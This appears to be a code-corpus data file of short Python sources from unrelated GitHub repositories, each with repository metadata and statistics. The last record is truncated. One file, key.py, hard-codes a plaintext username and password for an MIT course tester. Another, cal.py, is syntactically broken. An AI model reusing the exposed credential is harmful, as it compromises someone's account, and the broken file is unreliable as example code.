choice/apps.py
|
prayogateguh/smk-quiz
|
e3651ba140eb884f604ab398f966f635210ee8dc
|
[
"MIT"
] | null | null | null |
choice/apps.py
|
prayogateguh/smk-quiz
|
e3651ba140eb884f604ab398f966f635210ee8dc
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class ChoiceConfig(AppConfig):
name = 'choice'
| 15.333333
| 34
| 0.706522
| 10
| 92
| 6.5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.217391
| 92
| 5
| 35
| 18.4
| 0.902778
| 0
| 0
| 0
| 0
| 0
| 0.068966
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
1050815029404386ec86242bbba7a2c4918b6da1
| 1,304
|
py
|
Python
|
test/test_edit_pdf_api.py
|
Cloudmersive/Cloudmersive.APIClient.Python.Convert
|
dba2fe7257229ebdacd266531b3724552c651009
|
[
"Apache-2.0"
] | 3
|
2018-07-25T23:04:34.000Z
|
2021-08-10T16:43:10.000Z
|
test/test_edit_pdf_api.py
|
Cloudmersive/Cloudmersive.APIClient.Python.Convert
|
dba2fe7257229ebdacd266531b3724552c651009
|
[
"Apache-2.0"
] | 3
|
2020-11-23T10:46:48.000Z
|
2021-12-30T14:09:34.000Z
|
test/test_edit_pdf_api.py
|
Cloudmersive/Cloudmersive.APIClient.Python.Convert
|
dba2fe7257229ebdacd266531b3724552c651009
|
[
"Apache-2.0"
] | 2
|
2020-01-07T09:48:01.000Z
|
2020-11-23T10:47:00.000Z
|
# coding: utf-8
"""
convertapi
Convert API lets you effortlessly convert file formats and types. # noqa: E501
OpenAPI spec version: v1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import cloudmersive_convert_api_client
from cloudmersive_convert_api_client.api.edit_pdf_api import EditPdfApi # noqa: E501
from cloudmersive_convert_api_client.rest import ApiException
class TestEditPdfApi(unittest.TestCase):
"""EditPdfApi unit test stubs"""
def setUp(self):
self.api = cloudmersive_convert_api_client.api.edit_pdf_api.EditPdfApi() # noqa: E501
def tearDown(self):
pass
def test_edit_pdf_encrypt(self):
"""Test case for edit_pdf_encrypt
Encrypt and password-protect a PDF # noqa: E501
"""
pass
def test_edit_pdf_set_permissions(self):
"""Test case for edit_pdf_set_permissions
Encrypt, password-protect and set restricted permissions on a PDF # noqa: E501
"""
pass
def test_edit_pdf_watermark_text(self):
"""Test case for edit_pdf_watermark_text
Add a text watermark to a PDF # noqa: E501
"""
pass
if __name__ == '__main__':
unittest.main()
| 23.285714
| 94
| 0.690184
| 168
| 1,304
| 5.071429
| 0.39881
| 0.065728
| 0.103286
| 0.131455
| 0.326291
| 0.244131
| 0.166667
| 0.166667
| 0.070423
| 0
| 0
| 0.02006
| 0.235429
| 1,304
| 55
| 95
| 23.709091
| 0.834504
| 0.407209
| 0
| 0.222222
| 1
| 0
| 0.011905
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.277778
| false
| 0.222222
| 0.277778
| 0
| 0.611111
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
10674c916241b57388d3f501422e14c2fee1c34a
| 158
|
py
|
Python
|
aspyrobot/__init__.py
|
AustralianSynchrotron/pyrobot
|
a1b2b8fa02b6757ae22a4deb776cd9ae14ed45fe
|
[
"MIT"
] | 4
|
2019-10-08T19:24:13.000Z
|
2020-10-21T05:41:27.000Z
|
aspyrobot/__init__.py
|
AustralianSynchrotron/pyrobot
|
a1b2b8fa02b6757ae22a4deb776cd9ae14ed45fe
|
[
"MIT"
] | 1
|
2020-01-06T22:03:44.000Z
|
2020-01-06T22:03:44.000Z
|
aspyrobot/__init__.py
|
AustralianSynchrotron/pyrobot
|
a1b2b8fa02b6757ae22a4deb776cd9ae14ed45fe
|
[
"MIT"
] | 2
|
2016-07-20T00:00:11.000Z
|
2018-04-08T08:49:07.000Z
|
from .robot import Robot
from .server import RobotServer
from .client import RobotClient
__version__ = '0.17.0'
__all__ = [Robot, RobotServer, RobotClient]
| 19.75
| 43
| 0.778481
| 20
| 158
| 5.75
| 0.55
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.029412
| 0.139241
| 158
| 7
| 44
| 22.571429
| 0.816176
| 0
| 0
| 0
| 0
| 0
| 0.037975
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.6
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
10830a95d33d248d287d61fff5418688e9181127
| 151
|
py
|
Python
|
Problem/PeopleFund/itertools_permutations().py
|
yeojin-dev/coding-test
|
30ce8507838beaa9232c6fc6c62a7dcb62d51464
|
[
"MIT"
] | 2
|
2018-07-11T08:13:06.000Z
|
2018-07-11T08:47:12.000Z
|
Problem/PeopleFund/itertools_permutations().py
|
yeojin-dev/coding-test
|
30ce8507838beaa9232c6fc6c62a7dcb62d51464
|
[
"MIT"
] | null | null | null |
Problem/PeopleFund/itertools_permutations().py
|
yeojin-dev/coding-test
|
30ce8507838beaa9232c6fc6c62a7dcb62d51464
|
[
"MIT"
] | null | null | null |
from itertools import permutations
string, number = input().split()
print('\n'.join([''.join(i) for i in permutations(sorted(string), int(number))]))
| 30.2
| 81
| 0.708609
| 21
| 151
| 5.095238
| 0.761905
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.099338
| 151
| 4
| 82
| 37.75
| 0.786765
| 0
| 0
| 0
| 0
| 0
| 0.013245
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
109e10c4cf0d172e231d40adf248fc9d74957028
| 162
|
py
|
Python
|
Lab 2/key.py
|
lcchiang/Artificial-Intelligence-Course
|
0138b4d98f7fa15a56884af5e98b9cde9ad7ea69
|
[
"MIT"
] | null | null | null |
Lab 2/key.py
|
lcchiang/Artificial-Intelligence-Course
|
0138b4d98f7fa15a56884af5e98b9cde9ad7ea69
|
[
"MIT"
] | null | null | null |
Lab 2/key.py
|
lcchiang/Artificial-Intelligence-Course
|
0138b4d98f7fa15a56884af5e98b9cde9ad7ea69
|
[
"MIT"
] | null | null | null |
# Login information for the 6.034 Automated Tester
USERNAME="lcchiang_MIT_EDU"
PASSWORD="yu7Q4nPJNRALMY3AJ6ze"
XMLRPC_URL="https://ai6034.mit.edu/labs/xmlrpc/"
| 23.142857
| 50
| 0.802469
| 22
| 162
| 5.772727
| 0.863636
| 0.094488
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.080537
| 0.080247
| 162
| 6
| 51
| 27
| 0.771812
| 0.296296
| 0
| 0
| 0
| 0
| 0.63964
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.333333
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
10b786bbe9d5cd3f8f17725b81cf10a118eefe4b
| 193
|
py
|
Python
|
app/app/cal.py
|
bigdave2058/recipe-app-api
|
2e4839570ed8aa74c4397dbdfda3b8c2e69e23ba
|
[
"MIT"
] | null | null | null |
app/app/cal.py
|
bigdave2058/recipe-app-api
|
2e4839570ed8aa74c4397dbdfda3b8c2e69e23ba
|
[
"MIT"
] | null | null | null |
app/app/cal.py
|
bigdave2058/recipe-app-api
|
2e4839570ed8aa74c4397dbdfda3b8c2e69e23ba
|
[
"MIT"
] | null | null | null |
def addNumber(x,y)
"""Add two numbers""
return x + y
def subtract(x,y)
""" subtract two numbers """
return 0
def multiply(x,y)
""" multiply two numbers """
return x,y
| 16.083333
| 32
| 0.580311
| 29
| 193
| 3.862069
| 0.37931
| 0.089286
| 0.428571
| 0.303571
| 0.321429
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007143
| 0.274611
| 193
| 11
| 33
| 17.545455
| 0.792857
| 0
| 0
| 0
| 0
| 0
| 0.286822
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
52d413e4d83ba4fae12f2e30610d500ba02b969d
| 100
|
py
|
Python
|
GreyMatter/sleep.py
|
nayangupta824/Melissa-Web
|
cd669a60bf5642145904b6e7e2c4f3de2d4874c1
|
[
"MIT"
] | 20
|
2015-12-09T13:14:25.000Z
|
2020-05-14T05:08:31.000Z
|
Using_Internet_to_Gather_Information/Using_Internet_to_Gather_Information/Melissa-Core/GreyMatter/sleep.py
|
Abhidalakoti/Project1
|
e7b6bae3cb96f543d04d33cdb5015b2698af283e
|
[
"MIT"
] | 1
|
2016-07-17T06:30:02.000Z
|
2016-07-17T06:30:02.000Z
|
Using_Internet_to_Gather_Information/Using_Internet_to_Gather_Information/Melissa-Core/GreyMatter/sleep.py
|
Abhidalakoti/Project1
|
e7b6bae3cb96f543d04d33cdb5015b2698af283e
|
[
"MIT"
] | 24
|
2015-12-16T13:15:32.000Z
|
2021-02-21T17:29:44.000Z
|
from SenseCells.tts import tts
def go_to_sleep():
tts('Goodbye! Have a great day!')
quit()
| 16.666667
| 37
| 0.67
| 16
| 100
| 4.0625
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.21
| 100
| 5
| 38
| 20
| 0.822785
| 0
| 0
| 0
| 0
| 0
| 0.26
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.25
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
52fa358681eab5d6341acbef8c09053cd44b7948
| 83
|
py
|
Python
|
opac/apps.py
|
rimphyd/Django-OPAC
|
d86f2e28fee7f2ec551aeeb98ec67caefc06a3fb
|
[
"MIT"
] | 1
|
2020-11-26T05:25:46.000Z
|
2020-11-26T05:25:46.000Z
|
opac/apps.py
|
rimphyd/Django-OPAC
|
d86f2e28fee7f2ec551aeeb98ec67caefc06a3fb
|
[
"MIT"
] | null | null | null |
opac/apps.py
|
rimphyd/Django-OPAC
|
d86f2e28fee7f2ec551aeeb98ec67caefc06a3fb
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class OpacConfig(AppConfig):
name = 'opac'
| 13.833333
| 33
| 0.73494
| 10
| 83
| 6.1
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.180723
| 83
| 5
| 34
| 16.6
| 0.897059
| 0
| 0
| 0
| 0
| 0
| 0.048193
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
5e05143bf2f99e7842168d268bedbaa9ed718c62
| 142
|
py
|
Python
|
examples/performance/__main__.py
|
gujun4990/sqlalchemy
|
057bae2295feb86529a04f09cd2f3d4c2c6d88a8
|
[
"MIT"
] | 1
|
2018-04-02T18:41:52.000Z
|
2018-04-02T18:41:52.000Z
|
examples/performance/__main__.py
|
gujun4990/sqlalchemy
|
057bae2295feb86529a04f09cd2f3d4c2c6d88a8
|
[
"MIT"
] | null | null | null |
examples/performance/__main__.py
|
gujun4990/sqlalchemy
|
057bae2295feb86529a04f09cd2f3d4c2c6d88a8
|
[
"MIT"
] | 3
|
2017-09-26T13:59:24.000Z
|
2020-12-04T17:51:54.000Z
|
"""Allows the examples/performance package to be run as a script."""
from . import Profiler
if __name__ == '__main__':
Profiler.main()
| 17.75
| 68
| 0.697183
| 19
| 142
| 4.789474
| 0.894737
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.183099
| 142
| 7
| 69
| 20.285714
| 0.784483
| 0.43662
| 0
| 0
| 0
| 0
| 0.109589
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
5e1ae1e1f4b7771a8d516e544c80df43463b2e5c
| 141
|
py
|
Python
|
riskrate_data/__init__.py
|
riskrate/riskrate-data-python
|
d98257661daa98156c3e3aeeead30a4585f1a22b
|
[
"MIT"
] | null | null | null |
riskrate_data/__init__.py
|
riskrate/riskrate-data-python
|
d98257661daa98156c3e3aeeead30a4585f1a22b
|
[
"MIT"
] | null | null | null |
riskrate_data/__init__.py
|
riskrate/riskrate-data-python
|
d98257661daa98156c3e3aeeead30a4585f1a22b
|
[
"MIT"
] | null | null | null |
from .connection import DataClient
from .helper import (
simple_query,
simple_query_dict,
simple_mutation,
insert_chunked,
)
| 17.625
| 34
| 0.737589
| 16
| 141
| 6.1875
| 0.6875
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.205674
| 141
| 7
| 35
| 20.142857
| 0.883929
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.285714
| 0
| 0.285714
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5e2815cca75744be4e2f16b61cc2ad6a3a1cd213
| 132
|
py
|
Python
|
autocomplete_light/example_apps/unuseable_virtualfield/models.py
|
metzlar/django-autocomplete-light
|
64f5d584bee35bf6e6ac612756cff713867ddc75
|
[
"MIT"
] | 1
|
2015-10-12T21:42:05.000Z
|
2015-10-12T21:42:05.000Z
|
autocomplete_light/example_apps/unuseable_virtualfield/models.py
|
metzlar/django-autocomplete-light
|
64f5d584bee35bf6e6ac612756cff713867ddc75
|
[
"MIT"
] | null | null | null |
autocomplete_light/example_apps/unuseable_virtualfield/models.py
|
metzlar/django-autocomplete-light
|
64f5d584bee35bf6e6ac612756cff713867ddc75
|
[
"MIT"
] | null | null | null |
from django.db import models
from vote.managers import VotableManager
class HasVotes(models.Model):
votes = VotableManager()
| 16.5
| 40
| 0.780303
| 16
| 132
| 6.4375
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.151515
| 132
| 7
| 41
| 18.857143
| 0.919643
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
5e3848d5c6a8e766beb25b2a8dfb16721e430525
| 7,293
|
py
|
Python
|
tests/application_tests.py
|
dhdemerson/azure-lightning-flask
|
1b9fc3dad3f2c75219f45e7e6cce387a1cc6e157
|
[
"MIT"
] | null | null | null |
tests/application_tests.py
|
dhdemerson/azure-lightning-flask
|
1b9fc3dad3f2c75219f45e7e6cce387a1cc6e157
|
[
"MIT"
] | 1
|
2018-03-12T15:20:03.000Z
|
2018-03-12T15:20:03.000Z
|
tests/application_tests.py
|
dhdemerson/azure-lightning-flask
|
1b9fc3dad3f2c75219f45e7e6cce387a1cc6e157
|
[
"MIT"
] | null | null | null |
"""Tests for the azure_lightning_flask application"""
import unittest
from mock import patch
from azure.common import AzureMissingResourceHttpError
from azure_lightning_flask.application import create_app
from tests.test_config import TestConfig
class TestApplication(unittest.TestCase):
"""Tests for the azure_lightning_flask application"""
class ContentRowResponse(object): # pylint: disable=too-few-public-methods
"""Simulated content response from Azure Table"""
content = '<html></html>'
class ActiveRowResponse(object): # pylint: disable=too-few-public-methods
"""Simulated active row response indicating active revision"""
content = '{0}:ActiveRevision'.format(TestConfig.APP_NAME)
def setUp(self):
self.active_row_reponse = self.ActiveRowResponse()
self.content_row_response = self.ContentRowResponse()
self.default_revision_responses = iter([
self.ActiveRowResponse(),
self.ContentRowResponse()
])
self.app = create_app(TestConfig)
self.client = self.app.test_client()
@patch('azure_lightning_flask.helpers.TableService.get_entity')
def test_root_valid_revision(self, mock_get_entity):
"""Test the application returns the revision specified"""
mock_get_entity.return_value = self.content_row_response
revision = 'TestRevision'
url = '/?{0}={1}'.format(TestConfig.REVISION_PARAMETER, revision)
response = self.client.get(url)
row_key = '{0}:{1}'.format(TestConfig.APP_NAME, revision)
mock_get_entity.assert_called_once_with(
TestConfig.AZURE_STORAGE_TABLE,
TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY,
row_key
)
self.assertEqual(response.data, self.content_row_response.content)
self.assertEqual(response.status_code, 200)
@patch('azure_lightning_flask.helpers.TableService.get_entity')
def test_root_default_revision(self, mock_get_entity):
"""Test the application returns the active revision when no revision is specified"""
mock_get_entity.side_effect = self.default_revision_responses
url = '/'
response = self.client.get(url)
active_row_key = '{0}:current'.format(TestConfig.APP_NAME)
mock_get_entity.assert_any_call(
TestConfig.AZURE_STORAGE_TABLE,
TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY,
active_row_key
)
mock_get_entity.assert_any_call(
TestConfig.AZURE_STORAGE_TABLE,
TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY,
self.active_row_reponse.content
)
self.assertEqual(mock_get_entity.call_count, 2)
self.assertEqual(response.data, self.content_row_response.content)
self.assertEqual(response.status_code, 200)
@patch('azure_lightning_flask.helpers.TableService.get_entity')
def test_root_invalid_revision(self, mock_get_entity):
"""Test the application returns a 404 response when a specified revision can't be found"""
mock_get_entity.side_effect = AzureMissingResourceHttpError("Not Found", 404)
url = '/?{0}=InvalidRevsion'.format(TestConfig.REVISION_PARAMETER)
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
@patch('azure_lightning_flask.helpers.TableService.get_entity')
def test_root_empty_revision(self, mock_get_entity):
"""Test that an empty/blank but specified revision returns the active revision"""
mock_get_entity.side_effect = self.default_revision_responses
url = '/?{0}='.format(TestConfig.REVISION_PARAMETER)
response = self.client.get(url)
active_row_key = '{0}:current'.format(TestConfig.APP_NAME)
mock_get_entity.assert_any_call(
TestConfig.AZURE_STORAGE_TABLE,
TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY,
active_row_key
)
mock_get_entity.assert_any_call(
TestConfig.AZURE_STORAGE_TABLE,
TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY,
self.active_row_reponse.content
)
self.assertEqual(mock_get_entity.call_count, 2)
self.assertEqual(response.data, self.content_row_response.content)
self.assertEqual(response.status_code, 200)
@patch('azure_lightning_flask.helpers.TableService.get_entity')
def test_nonroot_default_revision(self, mock_get_entity):
"""Test the application handles and responds correctly to arbitrary paths"""
mock_get_entity.side_effect = self.default_revision_responses
url = '/directory/much/deep/wow'
response = self.client.get(url)
active_row_key = '{0}:current'.format(TestConfig.APP_NAME)
mock_get_entity.assert_any_call(
TestConfig.AZURE_STORAGE_TABLE,
TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY,
active_row_key
)
mock_get_entity.assert_any_call(
TestConfig.AZURE_STORAGE_TABLE,
TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY,
self.active_row_reponse.content
)
self.assertEqual(mock_get_entity.call_count, 2)
self.assertEqual(response.data, self.content_row_response.content)
self.assertEqual(response.status_code, 200)
@patch('azure_lightning_flask.helpers.TableService.get_entity')
def test_revision_with_additional_parameters(self, mock_get_entity): # pylint: disable=C0103
"""Test the application returns a requested revision even among other query parameters"""
mock_get_entity.return_value = self.content_row_response
revision = 'TestRevision'
url = '/?index_key=123&{0}={1}&revision=456'.format(
TestConfig.REVISION_PARAMETER,
revision
)
response = self.client.get(url)
row_key = '{0}:{1}'.format(TestConfig.APP_NAME, revision)
mock_get_entity.assert_called_once_with(
TestConfig.AZURE_STORAGE_TABLE,
TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY,
row_key
)
self.assertEqual(response.data, self.content_row_response.content)
self.assertEqual(response.status_code, 200)
@patch('azure_lightning_flask.helpers.TableService.get_entity')
def test_default_with_parameters(self, mock_get_entity):
"""Test that the application ignores query parameters that are not requesting a revision"""
mock_get_entity.side_effect = self.default_revision_responses
url = '/?index_key=123&&revision=456'
response = self.client.get(url)
active_row_key = '{0}:current'.format(TestConfig.APP_NAME)
mock_get_entity.assert_any_call(
TestConfig.AZURE_STORAGE_TABLE,
TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY,
active_row_key
)
mock_get_entity.assert_any_call(
TestConfig.AZURE_STORAGE_TABLE,
TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY,
self.active_row_reponse.content
)
self.assertEqual(mock_get_entity.call_count, 2)
self.assertEqual(response.data, self.content_row_response.content)
self.assertEqual(response.status_code, 200)
| 42.9
| 99
| 0.702043
| 851
| 7,293
| 5.687427
| 0.150411
| 0.065083
| 0.075207
| 0.11157
| 0.780992
| 0.747521
| 0.735537
| 0.718595
| 0.699174
| 0.658471
| 0
| 0.010803
| 0.213081
| 7,293
| 170
| 100
| 42.9
| 0.832549
| 0.113808
| 0
| 0.636364
| 0
| 0
| 0.096472
| 0.071808
| 0
| 0
| 0
| 0
| 0.204545
| 1
| 0.060606
| false
| 0
| 0.037879
| 0
| 0.121212
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
eab5f3b333442f9470fdabe1ae9131b6170b9d50
| 305
|
py
|
Python
|
models.py
|
Pycomet/music-bot
|
5a1d461bd29c38ac47fa5a1433427027c36fb9f2
|
[
"MIT"
] | null | null | null |
models.py
|
Pycomet/music-bot
|
5a1d461bd29c38ac47fa5a1433427027c36fb9f2
|
[
"MIT"
] | null | null | null |
models.py
|
Pycomet/music-bot
|
5a1d461bd29c38ac47fa5a1433427027c36fb9f2
|
[
"MIT"
] | null | null | null |
from dataclasses import dataclass
@dataclass
class User:
id: int
name: str = ""
@dataclass
class Order:
product: str
price: float
price: float
description: str
url: str
data: str
@dataclass
class Product:
name: str
price: float
description: str
url: str
| 13.26087
| 33
| 0.636066
| 37
| 305
| 5.243243
| 0.459459
| 0.216495
| 0.175258
| 0.247423
| 0.309278
| 0.309278
| 0
| 0
| 0
| 0
| 0
| 0
| 0.295082
| 305
| 22
| 34
| 13.863636
| 0.902326
| 0
| 0
| 0.526316
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.052632
| 0
| 0.842105
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
eabf9506748ef34e5453412674f65abfb0cce65f
| 345
|
py
|
Python
|
spexxy/data/__init__.py
|
thusser/spexxy
|
14a8d121076b9e043bdf2e27222a65088f771ff9
|
[
"MIT"
] | 4
|
2019-05-13T21:36:31.000Z
|
2021-09-06T01:56:36.000Z
|
spexxy/data/__init__.py
|
thusser/spexxy
|
14a8d121076b9e043bdf2e27222a65088f771ff9
|
[
"MIT"
] | 2
|
2020-02-12T14:36:39.000Z
|
2020-07-14T11:43:10.000Z
|
spexxy/data/__init__.py
|
thusser/spexxy
|
14a8d121076b9e043bdf2e27222a65088f771ff9
|
[
"MIT"
] | 1
|
2019-11-08T09:26:23.000Z
|
2019-11-08T09:26:23.000Z
|
from .filter import Filter
from .fitsspectrum import FitsSpectrum
from .isochrone import Isochrone, MultiIsochrone
from .losvd import LOSVD
from .lsf import LSF, AnalyticalLSF, EmpiricalLSF
from .resultsfits import ResultsFITS
from .spectrum import Spectrum, SpectrumFits, SpectrumFitsHDU, SpectrumBinTableFITS, SpectrumHiResFITS, SpectrumAscii
| 43.125
| 117
| 0.852174
| 36
| 345
| 8.166667
| 0.472222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.104348
| 345
| 7
| 118
| 49.285714
| 0.951456
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
d815f0fa1a0a2eacba24cf6df5a42d871994d842
| 225
|
py
|
Python
|
PE010.py
|
CaptainSora/Python-Project-Euler
|
056400f434eec837ece5ef06653b310ebfcc3d4e
|
[
"MIT"
] | null | null | null |
PE010.py
|
CaptainSora/Python-Project-Euler
|
056400f434eec837ece5ef06653b310ebfcc3d4e
|
[
"MIT"
] | null | null | null |
PE010.py
|
CaptainSora/Python-Project-Euler
|
056400f434eec837ece5ef06653b310ebfcc3d4e
|
[
"MIT"
] | null | null | null |
from _prime_tools import sieve
def summation_of_primes(ceiling):
"""
Returns the sum of all primes below ceiling.
"""
return sum(sieve(ceiling))
def solve(vol=0):
return summation_of_primes(2 * 10**6)
| 17.307692
| 48
| 0.684444
| 33
| 225
| 4.484848
| 0.666667
| 0.148649
| 0.22973
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.028249
| 0.213333
| 225
| 12
| 49
| 18.75
| 0.80791
| 0.195556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.2
| 0.2
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
d8309a7b87f1598ce047dcc66436dcd07a6d9334
| 955
|
py
|
Python
|
dashboard/migrations/0029_auto_20210818_0515.py
|
zidandff/primaseru
|
a14fa7326098af220e0671c3bf3870b4016ab4bf
|
[
"MIT"
] | null | null | null |
dashboard/migrations/0029_auto_20210818_0515.py
|
zidandff/primaseru
|
a14fa7326098af220e0671c3bf3870b4016ab4bf
|
[
"MIT"
] | null | null | null |
dashboard/migrations/0029_auto_20210818_0515.py
|
zidandff/primaseru
|
a14fa7326098af220e0671c3bf3870b4016ab4bf
|
[
"MIT"
] | 2
|
2021-08-10T09:09:58.000Z
|
